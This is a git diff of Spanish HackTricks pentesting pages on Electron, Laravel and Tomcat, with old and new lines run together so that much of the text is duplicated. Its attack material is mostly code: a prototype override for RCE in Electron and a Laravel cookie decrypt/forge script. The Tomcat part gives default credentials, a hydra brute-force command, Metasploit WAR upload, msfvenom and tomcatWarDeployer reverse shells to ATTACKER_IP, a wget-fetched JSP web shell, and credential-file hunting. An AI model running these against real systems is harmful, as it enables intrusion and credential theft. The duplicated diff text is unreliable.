Ejemplo de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41) Ejemplo de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
El listener del evento "exit" siempre es establecido por el código interno cuando se inicia la carga de la página. Este evento se emite justo antes de la navegación: El listener del evento "exit" siempre se establece por el código interno cuando se inicia la carga de la página. Este evento se emite justo antes de la navegación:
```javascript ```javascript
process.on('exit', function (){ process.on('exit', function (){
for (let p in cachedArchives) { for (let p in cachedArchives) {
@ -39,11 +42,11 @@ Donde "self" es el objeto de proceso de Node:
![](<../../../.gitbook/assets/image (700).png>) ![](<../../../.gitbook/assets/image (700).png>)
El objeto de proceso tiene referencias a la función "require": El objeto de proceso tiene una referencia a la función "require":
``` ```
process.mainModule.require process.mainModule.require
``` ```
Como el handler.call va a recibir el objeto process, podemos sobrescribirlo para ejecutar código arbitrario: Como el handler.call va a recibir el objeto de proceso, podemos sobrescribirlo para ejecutar código arbitrario:
```html ```html
<script> <script>
Function.prototype.call = function(process){ Function.prototype.call = function(process){
@ -54,7 +57,7 @@ location.reload();//Trigger the "exit" event
``` ```
## Ejemplo 2 ## Ejemplo 2
Obtener el **objeto require de la contaminación de prototipos**. Desde [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81) Obtener **objeto require de la contaminación del prototipo**. De [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
Fuga: Fuga:
@ -64,14 +67,17 @@ Explotar:
<figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Laravel # Laravel
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Trucos de Laravel ## Laravel Tricks
### Modo de depuración ### Modo de depuración
@ -21,17 +24,17 @@ Por ejemplo `http://127.0.0.1:8000/profiles`:
![](<../../.gitbook/assets/image (1046).png>) ![](<../../.gitbook/assets/image (1046).png>)
Esto suele ser necesario para explotar otras vulnerabilidades de RCE de Laravel. Esto suele ser necesario para explotar otras CVEs de RCE de Laravel.
### .env ### .env
Laravel guarda la APP que utiliza para cifrar las cookies y otras credenciales dentro de un archivo llamado `.env` que se puede acceder mediante una travesía de directorios en: `/../.env` Laravel guarda la APP que utiliza para encriptar las cookies y otras credenciales dentro de un archivo llamado `.env` que se puede acceder utilizando alguna travesía de ruta bajo: `/../.env`
Laravel también mostrará esta información en la página de depuración (que aparece cuando Laravel encuentra un error y está activado). Laravel también mostrará esta información dentro de la página de depuración (que aparece cuando Laravel encuentra un error y está activado).
Usando la clave secreta APP\_KEY de Laravel puedes descifrar y volver a cifrar cookies: Usando la APP\_KEY secreta de Laravel, puedes desencriptar y re-encriptar cookies:
### Descifrar Cookie ### Desencriptar Cookie
```python ```python
import os import os
import json import json
@ -90,11 +93,11 @@ decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' #b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
``` ```
### Laravel Deserialization RCE ### Laravel Deserialización RCE
Versiones vulnerables: 5.5.40 y 5.6.x a través de 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) Versiones vulnerables: 5.5.40 y 5.6.x hasta 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Aquí puedes encontrar información sobre la vulnerabilidad de deserialización: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) Aquí puedes encontrar información sobre la vulnerabilidad de deserialización aquí: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Puedes probar y explotarlo usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ Puedes probar y explotarlo usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
O también puedes explotarlo con metasploit: `use unix/http/laravel_token_unserialize_exec` O también puedes explotarlo con metasploit: `use unix/http/laravel_token_unserialize_exec`
@ -105,16 +108,19 @@ Otra deserialización: [https://github.com/ambionics/laravel-exploits](https://g
### Laravel SQLInjection ### Laravel SQLInjection
Lee información al respecto aquí: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) Lee información sobre esto aquí: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Tomcat # Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Grupo de Seguridad Try Hard** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -20,24 +23,26 @@
*** ***
## Descubrimiento ## Discovery
* Normalmente se ejecuta en el **puerto 8080** * Normalmente se ejecuta en **el puerto 8080**
* **Error común de Tomcat:** * **Error común de Tomcat:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Enumeración ## Enumeration
### **Identificación de la Versión** ### **Identificación de versión**
Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple: Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple:
```bash ```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
### **Ubicación de Archivos del Manager** Esto buscará el término "Tomcat" en la página de índice de documentación, revelando la versión en la etiqueta de título de la respuesta HTML.
Identificar las ubicaciones exactas de los directorios **`/manager`** y **`/host-manager`** es crucial, ya que sus nombres podrían ser modificados. Se recomienda realizar una búsqueda de fuerza bruta para localizar estas páginas. ### **Ubicación de Archivos del Administrador**
Identificar las ubicaciones exactas de los directorios **`/manager`** y **`/host-manager`** es crucial ya que sus nombres podrían ser alterados. Se recomienda una búsqueda de fuerza bruta para localizar estas páginas.
### **Enumeración de Nombres de Usuario** ### **Enumeración de Nombres de Usuario**
@ -45,9 +50,9 @@ Para versiones de Tomcat anteriores a la 6, es posible enumerar nombres de usuar
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_enum msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **Credenciales predeterminadas** ### **Credenciales Predeterminadas**
El directorio **`/manager/html`** es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación básica HTTP, con credenciales comunes siendo: El **`/manager/html`** directorio es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación HTTP básica, siendo las credenciales comunes:
* admin:admin * admin:admin
* tomcat:tomcat * tomcat:tomcat
@ -56,11 +61,11 @@ El directorio **`/manager/html`** es particularmente sensible ya que permite la
* tomcat:s3cr3t * tomcat:s3cr3t
* admin:tomcat * admin:tomcat
Estas credenciales pueden ser probadas usando: Estas credenciales se pueden probar usando:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
Otro directorio notable es **`/manager/status`**, que muestra la versión de Tomcat y del sistema operativo, lo que facilita la identificación de vulnerabilidades. Otro directorio notable es **`/manager/status`**, que muestra la versión de Tomcat y del sistema operativo, ayudando en la identificación de vulnerabilidades.
### **Ataque de Fuerza Bruta** ### **Ataque de Fuerza Bruta**
@ -68,60 +73,62 @@ Para intentar un ataque de fuerza bruta en el directorio del administrador, se p
```bash ```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
``` ```
Along with setting various parameters in Metasploit to target a specific host.
## Vulnerabilidades Comunes ## Vulnerabilidades Comunes
### **Divulgación de Rastro de Contraseña** ### **Divulgación de Contraseña en Backtrace**
Acceder a `/auth.jsp` puede revelar la contraseña en un rastro bajo circunstancias afortunadas. Acceder a `/auth.jsp` puede revelar la contraseña en un backtrace bajo circunstancias afortunadas.
### **Codificación de URL Doble** ### **Codificación Doble de URL**
La vulnerabilidad CVE-2007-1860 en `mod_jk` permite la codificación de URL doble para la travesía de directorios, lo que habilita el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada. La vulnerabilidad CVE-2007-1860 en `mod_jk` permite la codificación doble de URL para la traversía de rutas, lo que habilita el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada.
Para acceder a la interfaz web de gestión de Tomcat, vaya a: `rutaTomcat/%252E%252E/manager/html` Para acceder a la web de gestión de Tomcat, ve a: `pathTomcat/%252E%252E/manager/html`
### /ejemplos ### /examples
Las versiones de Apache Tomcat de 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, enumerados de manera exhaustiva, deben ser verificados en busca de acceso no autorizado y posibles explotaciones. Encuentra [más información aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) Las versiones de Apache Tomcat 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, listados de manera exhaustiva, deben ser revisados para detectar accesos no autorizados y posibles explotaciones. Encuentra [más información aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /ejemplos/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /ejemplos/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
* /ejemplos/jsp/snp/snoop.jsp * /examples/jsp/snp/snoop.jsp
* /ejemplos/jsp/error/error.html * /examples/jsp/error/error.html
* /ejemplos/jsp/sessions/carts.html * /examples/jsp/sessions/carts.html
* /ejemplos/jsp/checkbox/check.html * /examples/jsp/checkbox/check.html
* /ejemplos/jsp/colors/colors.html * /examples/jsp/colors/colors.html
* /ejemplos/jsp/cal/login.html * /examples/jsp/cal/login.html
* /ejemplos/jsp/include/include.jsp * /examples/jsp/include/include.jsp
* /ejemplos/jsp/forward/forward.jsp * /examples/jsp/forward/forward.jsp
* /ejemplos/jsp/plugin/plugin.jsp * /examples/jsp/plugin/plugin.jsp
* /ejemplos/jsp/jsptoserv/jsptoservlet.jsp * /examples/jsp/jsptoserv/jsptoservlet.jsp
* /ejemplos/jsp/simpletag/foo.jsp * /examples/jsp/simpletag/foo.jsp
* /ejemplos/jsp/mail/sendmail.jsp * /examples/jsp/mail/sendmail.jsp
* /ejemplos/servlet/HelloWorldExample * /examples/servlet/HelloWorldExample
* /ejemplos/servlet/RequestInfoExample * /examples/servlet/RequestInfoExample
* /ejemplos/servlet/RequestHeaderExample * /examples/servlet/RequestHeaderExample
* /ejemplos/servlet/RequestParamExample * /examples/servlet/RequestParamExample
* /ejemplos/servlet/CookieExample * /examples/servlet/CookieExample
* /ejemplos/servlet/JndiServlet * /examples/servlet/JndiServlet
* /ejemplos/servlet/SessionExample * /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp * /tomcat-docs/appdev/sample/web/hello.jsp
### **Explotación de Travesía de Ruta** ### **Explotación de Traversía de Ruta**
En algunas [**configuraciones vulnerables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) puedes obtener acceso a directorios protegidos en Tomcat usando la ruta: `/..;/` En algunas [**configuraciones vulnerables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) puedes obtener acceso a directorios protegidos en Tomcat usando la ruta: `/..;/`
Por ejemplo, podrías **acceder a la página del administrador de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html` Así que, por ejemplo, podrías **acceder a la página del gestor de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html`
**Otra forma** de evadir rutas protegidas usando este truco es acceder a `http://www.vulnerable.com/;param=value/manager/html` **Otra forma** de eludir rutas protegidas usando este truco es acceder a `http://www.vulnerable.com/;param=value/manager/html`
## RCE ## RCE
Finalmente, si tienes acceso al Administrador de Aplicaciones Web de Tomcat, puedes **cargar e implementar un archivo .war (ejecutar código)**. Finalmente, si tienes acceso al Gestor de Aplicaciones Web de Tomcat, puedes **subir y desplegar un archivo .war (ejecutar código)**.
### Limitaciones ### Limitaciones
Solo podrás implementar un WAR si tienes **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Esos detalles se pueden encontrar en _tomcat-users.xml_ generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver sección [POST](tomcat.md#post)). Solo podrás desplegar un WAR si tienes **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Esos detalles se pueden encontrar en _tomcat-users.xml_ generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver [POST ](tomcat.md#post)section).
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -140,27 +147,27 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password> msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit msf exploit(multi/http/tomcat_mgr_upload) > exploit
``` ```
### Shell inverso MSFVenom ### MSFVenom Reverse Shell
1. Crear el archivo war para desplegar: 1. Crea el war para desplegar:
```bash ```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
``` ```
### Sube el archivo `revshell.war` y accede a él (`/revshell/`): 2. Sube el archivo `revshell.war` y accede a él (`/revshell/`):
### Conexión de shell de enlace y reversa con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) ### Shell de enlace y reversa con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de sun) En algunos escenarios esto no funciona (por ejemplo, versiones antiguas de sun)
#### Descargar #### Descargar
```bash ```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git git clone https://github.com/mgeeky/tomcatWarDeployer.git
``` ```
#### Shell inverso #### Shell inversa
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
``` ```
#### Shell de conexión #### Shell de enlace
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
``` ```
@ -170,7 +177,7 @@ clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --d
``` ```
### Método manual - Web shell ### Método manual - Web shell
Cree **index.jsp** con este [contenido](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp): Crea **index.jsp** con este [contenido](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java ```java
<FORM METHOD=GET ACTION='index.jsp'> <FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text> <INPUT name='cmd' type=text>
@ -201,9 +208,11 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
También podrías instalar esto (permite la carga, descarga y ejecución de comandos): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Método Manual 2 ### Método Manual 2
Obtenga un shell web JSP como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) y cree un archivo WAR: Obtén un shell web JSP como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) y crea un archivo WAR:
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -216,17 +225,7 @@ El nombre del archivo de credenciales de Tomcat es _tomcat-users.xml_
```bash ```bash
find / -name tomcat-users.xml 2>/dev/null find / -name tomcat-users.xml 2>/dev/null
``` ```
### Otras formas de recopilar credenciales de Tomcat: Otras formas de recopilar credenciales de Tomcat:
- **Brute Force Attack (Ataque de Fuerza Bruta):** Un método común para adivinar contraseñas probando diferentes combinaciones de usuario y contraseña.
- **Phishing (Suplantación de Identidad):** Enviar correos electrónicos falsos haciéndose pasar por una entidad legítima para engañar a los usuarios y obtener sus credenciales.
- **Social Engineering (Ingeniería Social):** Manipular psicológicamente a las personas para que revelen información confidencial, como contraseñas.
- **Exploiting Default Credentials (Explotar Credenciales Predeterminadas):** Intentar acceder a Tomcat utilizando las credenciales predeterminadas que vienen con la instalación estándar.
